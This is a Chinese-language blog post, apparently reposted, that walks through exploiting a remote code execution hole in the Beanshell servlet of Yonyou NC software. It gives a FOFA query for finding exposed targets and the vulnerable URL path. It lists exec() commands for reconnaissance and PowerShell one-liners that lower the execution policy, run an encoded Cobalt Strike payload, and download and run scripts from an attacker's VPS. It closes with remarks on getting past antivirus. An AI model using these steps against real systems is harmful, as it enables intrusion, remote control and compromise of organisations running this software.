nc Beanshell組件遠程代碼執行漏洞復現


nc版本

1、fofa語法 "用友nc"
2、界面如下,如圖可以點進去到不同系統,我才發現
image
image
image

命令執行

1、在url后面輸入以下代碼,進入Beanshell組件,直接命令執行

/servlet//~ic/bsh.servlet.BshServlet

image
image
2、常用命令

exec("whoami");    查看當前用戶
exec("net user");    查看用戶
exec("netstat -ano");   查看端口,比如3389
exec("tasklist");    查看進程,可以看到殺軟
exec("ipconfig");     查看內網ip
exec("systeminfo");     查看系統信息

3、利用powershell

exec("cmd.exe /c powershell.exe Get-ExecutionPolicy");    驗證是否開啟遠程執行權限,RemoteSigned說明可以遠程下載執行
exec("cmd.exe /c powershell.exe Set-ExecutionPolicy -ExecutionPolicy RemoteSigned"); 若不是RemoteSigned則設置
exec("cmd.exe /c powershell.exe -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBldasdasd");  
此處命令替換為cs生成的payload(Attacks-->Packages-->Generate-->powershell command)直接上線
=======其他powershell命令========
exec("cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://你的vps/test.txt','123456.txt');"); 下載文件,前提也是開啟RemoteSigned
exec("cmd.exe /c powershell -nop -c iex(New-Object Net.WebClient).DownloadString('http://你的vps:80/payload.ps1')"); 通過下載ps1文件上線,ps命令行有時候會失效

image
此方法直接上線cs,前提是目標服務器沒殺軟,有的話需要繞過
image
這里有macfee,沒殺我powershell,但是直接殺了我的fscan.exe和cs的端口掃描和提權操作


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM